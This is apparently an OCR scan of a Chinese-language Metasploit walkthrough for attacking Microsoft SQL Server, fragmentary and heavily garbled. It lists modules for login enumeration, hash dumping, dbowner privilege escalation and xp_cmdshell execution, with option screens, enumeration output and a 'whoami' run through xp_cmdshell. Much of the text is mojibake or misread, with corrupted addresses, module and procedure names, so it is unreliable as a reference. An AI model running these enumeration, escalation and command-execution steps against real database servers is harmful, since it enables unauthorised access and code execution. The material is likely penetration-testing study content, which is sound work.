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1. auxiliary/admin/mssql/mssql_enum
. auxiliary/admin/mssql/mssql_enum_sql_logins
. auxiliary/admin/mssql/mssql_escalate_dbowner

. auxiliary/admin/mssql/mssql_exec

2

3

4

5. auxiliary/admin/mssql/mssql_sql

6. auxiliary/admin/mssql/mssql_sql_file

7. auxiliary/scanner/mssql/mssql_hashdump
8. auxiliary/scanner/mssql/mssql_login

9. auxiliary/scanner/mssql/mssql_ping

10. exploit/windows/mssql/mssql_payload

11. post/windows/manage/mssql_local_auth_bypass
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Accounts with Username and Password being the same:
Mo Account with its password being the same as its user
Accounts with empty password:
Mo Accounts with empty passwords where found.
Stored Procedures with Public Execute Permission found:
sp_replsetsyncstatus
sp_replcounters
sp_replsendtogueus
sp_resyncexecutesqgl
Sp_prepexecrpc
sp_repltrans
sp_xml_preparedocument
¥p_Qv
Xp_getnetname
sp_releaseschemalock
sp_refreshview
sp_replcmds
Sp_unprepare
Sp_resyncprepare
sp_createorphan
xp_dirtree
sp_replwritetovarbin
sp_replsetoriginator
sp_xml_removedocument
sp_repldone
sp_reset_connection
¥p_fileexist
¥p_fixeddrives
sp_getschemalock
Sp_prepexec
#p_revokelogin
sp_resyncuniquetable
sp_replflush
sp_resyncexecute
#p_grantlogin
sp_droparphans
¥p_regread
sp_getbindtoken
sp_replincrementlsn
Instances found on this server:
MSSOLSERVER

2.auxiliary/admin/mssql/mssqgl_enum_sql_logins
Ri&Esql logins | ERERIE , FEWER.

nst auxiliary (admin/mssql /mssql_enum_sql logins) = show options

Module options (auxiliary/adminsmssql/mssql_enum_sgl_logins):

Mame
FuzzMum
PASSWORD

RHOST
RPORT

TOSEMCRYFTION

mst
[*]
[+]
[*]
[+]
[*]
[*]

LISERMAME

Current Setting Required Description

Number of principal_ids to fuzz.
123455 no The password for the specified username
1562.168.1.115 yes The target address
1433 Yes The target port (TCP)
falze Yes Use TLS/SSL for TDS data "Force Encryption”
53 na The username to authenticate as

USE WINDOWS ALTHENT false Yes Use windows authentification (requires DOMAIN option set)

auxiliary (admin/mssql/mssql_enum sql_logins) = exploit

152,168,
152,168,
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152,168

152,168,
152,168,
152,168,

.115:1433 -
.115:1433 -
115:1433 -
.115:1433 -
.115:1433 -
.115:1433 -

Attempting to connect to the database server at 182,188.1,115:1433 as sa. ..
Connected,

Checking if sa has the sysadmin rale. ..

sa iz a sysadmin,

Setup to fuzz 300 SOL Serwer logins.

Enumerating logins. ..




3.auxiliary/admin/mssql/mssql_escalate_dbowner

&Mdbowner , JsaFTiXGAIEIBAIRT R | BB FBEEMIKSRAKSIE T —SHIRMZ

late_dbowner):
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USE_WINDOWS AUTHENT
iliary (admin/mssql /mssql_escalate_dbowner)
tempting to connect to the datab
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4.auxiliary/admin/mssql/mssql_exec
REMRERZ— , SigfEiaxp_cmdshell , BaligiE. FEBERITcmdES, MR

Sql server,

msf auxiliary (adnin/mssqgl/mssql_exec) = show optilons

Module options

't whoami

cmdshell 'cmd. ¢ whoami'

5.auxiliary/admin/mssql/mssql_sql

REMRER— | WIRAESq| server FUERFIFIE | LAKsqiER., BNZER , B



